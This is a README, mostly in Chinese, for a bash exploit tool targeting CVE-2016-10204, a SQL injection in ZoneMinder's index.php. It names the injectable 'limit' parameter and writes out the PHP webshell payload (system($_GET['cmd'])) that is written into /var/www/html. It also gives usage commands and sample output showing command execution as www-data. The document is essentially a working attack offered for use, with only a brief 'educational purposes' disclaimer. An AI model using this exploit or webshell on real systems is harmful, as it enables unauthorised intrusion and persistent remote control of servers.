一个bash脚本，演示如何手动利用CVE-2016-10204攻击目标端点，最终上传一个PHP webshell。
目前，webshell变量设置为针对MySQL的payload。可以根据需要替换为其他后端。
有关此CVE的更多信息，请参阅以下来源：
该脚本的工作方式如下：
^(http|https)://[^/]+/zm/index\.php$ 接收目标URL
/zm/index.php?view=request&request=log&task=query&limit=100&minTime=1466674406.084434 端点
&limit=100 参数处存在注入点，我们利用它完成以下操作：/var/www/html 下创建一个新的webshell文件<?php system($_GET['cmd']);?> SELECT 到该文件中（在写入文件时将其流式写入）id 命令并显示其输出，提供证明。使用方法：
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/chmod +x CVE-2016-10204_Webshell.sh
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh testme http://127.0.0.1/zm/index.php
通用用法：
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target_endpoint/zm/index.php>
帮助：
示例：
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
[*]================================[*]
[*]Target Host: 192.168.177.52:3305 [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php [*]
[*]================================[*]
[*]================================[*]
[*]Attempting webshell deployment. [*]
[*]================================[*]
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or
Warning: consider "--output <FILE>" to save to a file.
Exit Code for Timeout: 23
[*]================================[*]
[*]Webshell deployment successful. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]
对已利用目标再次运行：
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
[*]================================[*]
[*]Target Host: 192.168.177.52:3305 [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php [*]
[*]================================[*]
[*]================================[*]
[*]Webshell already deployed. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]
内置帮助信息：
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh -h
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
CVE-2016-10204_Webshell
A bash script demonstrating the manual exploitation of CVE-2016-10204 against a target endpoint,
leading to upload of a php webshell.
More information:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10204
- https://www.exploit-db.com/exploits/41239
- https://www.openwall.com/lists/oss-security/2017/02/05/1
Usage:
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target/zm/index.php>
Example:
/bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
Notes:
- Verifies if a webshell already exists before attempting exploitation.
- Constructs a malicious SQLi payload to write a PHP webshell into /var/www/html.
- Confirms deployment by executing 'id' via the ?cmd= parameter.
- Please use responsibly only against devices you have permission to do. This is for educational purposes only.